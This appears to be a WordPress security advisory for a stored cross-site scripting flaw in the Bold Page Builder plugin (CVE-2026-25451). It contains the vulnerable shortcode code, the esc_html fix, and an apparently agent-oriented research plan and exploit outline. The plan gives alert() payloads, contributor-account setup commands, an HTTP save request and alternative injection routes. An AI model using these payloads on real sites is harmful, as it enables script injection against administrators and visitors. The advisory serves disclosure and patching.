Bold Page Builder <= 5.6.9 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.6.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.6.9What Changed in the Fix
Changes introduced in v5.7.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-25451 Bold Page Builder Stored XSS ## 1. Vulnerability Summary The **Bold Page Builder** plugin (versions <= 5.6.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists within the rendering of the `bt_bb_progress_bar` content eleme…
Show full research plan
Research Plan: CVE-2026-25451 Bold Page Builder Stored XSS
1. Vulnerability Summary
The Bold Page Builder plugin (versions <= 5.6.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the rendering of the bt_bb_progress_bar content element. Specifically, the text attribute of the [bt_bb_progress_bar] shortcode is output to the page without proper sanitization or escaping, allowing users with at least Contributor-level permissions to inject arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post-new.phpor/wp-admin/post.php) or the Bold Builder Frontend Editor. - Vulnerable Attribute: The
textparameter of thebt_bb_progress_barelement. - Authentication Level: Contributor+. Contributors can create posts and insert shortcodes, although they cannot publish them. The XSS will execute when an Editor or Admin previews or views the draft.
- Preconditions: The Bold Page Builder plugin must be active.
3. Code Flow
- Entry Point: A user with Contributor permissions creates a post containing the following shortcode:
[bt_bb_progress_bar text="<script>alert(document.domain)</script>"] - Shortcode Registration: The plugin registers content elements. In
content_elements/bt_bb_progress_bar/bt_bb_progress_bar.php, the classbt_bb_progress_barextendsBT_BB_Element. - Shortcode Handling: When the page is viewed, the
handle_shortcodefunction is called (Line 5). - Attribute Extraction: The attributes are extracted using
shortcode_atts(Lines 7-15). The$textvariable receives the malicious payload. - Vulnerable Sink: At line 105, the
$outputstring is constructed:$output .= '<div' . $id_attr . ' class="' . esc_attr( implode( ' ', $class ) ) . '"' . $style_attr . ' data-bt-override-class="' . htmlspecialchars( json_encode( $data_override_class, JSON_FORCE_OBJECT ), ENT_QUOTES, 'UTF-8' ) . '"><div class="bt_bb_progress_bar_bg"></div><div class="bt_bb_progress_bar_inner animate" style="width:' . esc_attr( intval( $percentage ) ) . '%"><span class="bt_bb_progress_bar_text">' . $text . '</span></div></div>'; - Failure to Escape: While other variables like
$percentageare cast tointvaland$classis passed throughesc_attr, the$textvariable is appended directly to the HTML inside a<span>tag without callingesc_html()orwp_kses(). - Execution: The browser renders the
<span>and executes the script.
4. Nonce Acquisition Strategy
This vulnerability can be exploited by simply saving a post via the standard WordPress REST API or the Classic/Gutenberg editor. However, if the PoC agent utilizes the Bold Builder Frontend Editor, a nonce will be required.
- Shortcode Identification: The
bt_bb_progress_barelement is the target. - Page Creation:
wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content="[bt_bb_progress_bar text='init']" - Extraction:
- Navigate to the newly created page.
- The plugin localizes scripts for the editor. Based on common BoldThemes patterns (inferred from
bold-builder.phptruncated logic), look for thebt_bb_settingsorbt_bb_fe_dataobject. - Use
browser_eval:window.bt_bb_settings?.nonceor check thebt_bb_fe_savebutton's data attributes.
Note: For a simple Stored XSS PoC, using wp-cli to create the post or the standard WordPress admin UI is the most reliable path and avoids complex frontend nonce requirements.
5. Exploitation Strategy
- Authenticate: Log in as a Contributor user.
- Create Post: Send a request to
/wp-admin/post.phpto save a new draft containing the payload. - Payload:
[bt_bb_progress_bar text="<img src=x onerror=alert(window.origin)>" percentage="50"] - HTTP Request:
- Method:
POST - URL:
http://localhost:8080/wp-admin/post.php - Body (URL-encoded):
post_title:XSS Vulnerability Testcontent:[bt_bb_progress_bar text="<img src=x onerror=alert(window.origin)>" percentage="50"]action:editpostpost_type:post_wpnonce: (Acquire from/wp-admin/post-new.php)
- Method:
- Trigger: Navigate to the post URL (or preview URL as Admin) using
browser_navigate.
6. Test Data Setup
- User: Create a contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin: Ensure
bold-page-builderis active.wp plugin activate bold-page-builder
7. Expected Results
- When the page containing the shortcode is rendered, the HTML source should contain:
<span class="bt_bb_progress_bar_text"><img src=x onerror=alert(window.origin)></span> - The
browser_evalofalertshould be triggered, or the agent should detect the unescaped tags in the DOM.
8. Verification Steps
- Database Check: Verify the shortcode is stored correctly in the
wp_poststable.wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Vulnerability Test'" - Output Check: Use
http_requestto GET the post frontend and grep for the raw payload.http_request('GET', 'http://localhost:8080/?p=[POST_ID]')
Check if the response body contains the raw<img src=x...>inside thebt_bb_progress_bar_textspan.
9. Alternative Approaches
- Attribute Breakout: If the
textattribute was inside an HTML attribute, we would use quotes to break out (e.g.,text='"><script>...'). Since it is in a<span>body, the direct tag injection used above is sufficient. - Other Elements: If
bt_bb_progress_baris patched, checkbt_bb_headlineorbt_bb_buttonas they often follow similar unescaped patterns in the same plugin suite. - Frontend Editor Bypass: If
wp-adminis restricted, use the frontend builder by capturing thebt_bb_fe_saveAJAX request, which typically sends the entire post content in acontentparameter toadmin-ajax.php.
Summary
The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'text' attribute of the 'bt_bb_progress_bar' shortcode. Authenticated attackers with contributor-level permissions or higher can inject malicious JavaScript that executes in the context of any user viewing or previewing the affected page.
Vulnerable Code
// content_elements/bt_bb_progress_bar/bt_bb_progress_bar.php function handle_shortcode( $atts, $content ) { extract( shortcode_atts( apply_filters( 'bt_bb_extract_atts_' . $this->shortcode, array( 'text' => '', 'percentage' => '', 'color_scheme' => '', 'size' => '', 'align' => '', 'style' => '', 'shape' => '' ) ), $atts, $this->shortcode ) ); // ... (lines 17-103) $output = ''; $output .= '<div' . $id_attr . ' class="' . esc_attr( implode( ' ', $class ) ) . '"' . $style_attr . ' data-bt-override-class="' . htmlspecialchars( json_encode( $data_override_class, JSON_FORCE_OBJECT ), ENT_QUOTES, 'UTF-8' ) . '"><div class="bt_bb_progress_bar_bg"></div><div class="bt_bb_progress_bar_inner animate" style="width:' . esc_attr( intval( $percentage ) ) . '%"><span class="bt_bb_progress_bar_text">' . $text . '</span></div></div>'; $output = apply_filters( 'bt_bb_general_output', $output, $atts );
Security Fix
@@ -87,7 +87,7 @@ $output = ''; - $output .= '<div' . $id_attr . ' class="' . esc_attr( implode( ' ', $class ) ) . '"' . $style_attr . ' data-bt-override-class="' . htmlspecialchars( json_encode( $data_override_class, JSON_FORCE_OBJECT ), ENT_QUOTES, 'UTF-8' ) . '"><div class="bt_bb_progress_bar_bg"></div><div class="bt_bb_progress_bar_inner animate" style="width:' . esc_attr( intval( $percentage ) ) . '%"><span class="bt_bb_progress_bar_text">' . $text . '</span></div></div>'; + $output .= '<div' . $id_attr . ' class="' . esc_attr( implode( ' ', $class ) ) . '"' . $style_attr . ' data-bt-override-class="' . htmlspecialchars( json_encode( $data_override_class, JSON_FORCE_OBJECT ), ENT_QUOTES, 'UTF-8' ) . '"><div class="bt_bb_progress_bar_bg"></div><div class="bt_bb_progress_bar_inner animate" style="width:' . esc_attr( intval( $percentage ) ) . '%"><span class="bt_bb_progress_bar_text">' . esc_html( $text ) . '</span></div></div>'; $output = apply_filters( 'bt_bb_general_output', $output, $atts ); $output = apply_filters( $this->shortcode . '_output', $output, $atts );
Exploit Outline
1. Authenticate as a user with at least Contributor-level permissions (e.g., Contributor, Editor). 2. Use the standard WordPress Post Editor or the Bold Builder Frontend Editor to create a new post or page. 3. Insert the `bt_bb_progress_bar` shortcode with a malicious payload in the `text` parameter, such as: `[bt_bb_progress_bar text="<img src=x onerror=alert(document.domain)>"]`. 4. Save the post as a draft or publish it (if permissions allow). 5. As an administrator or any other user, navigate to the post's public URL or preview the draft. The browser will render the unescaped `<span>` content, triggering the execution of the injected script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.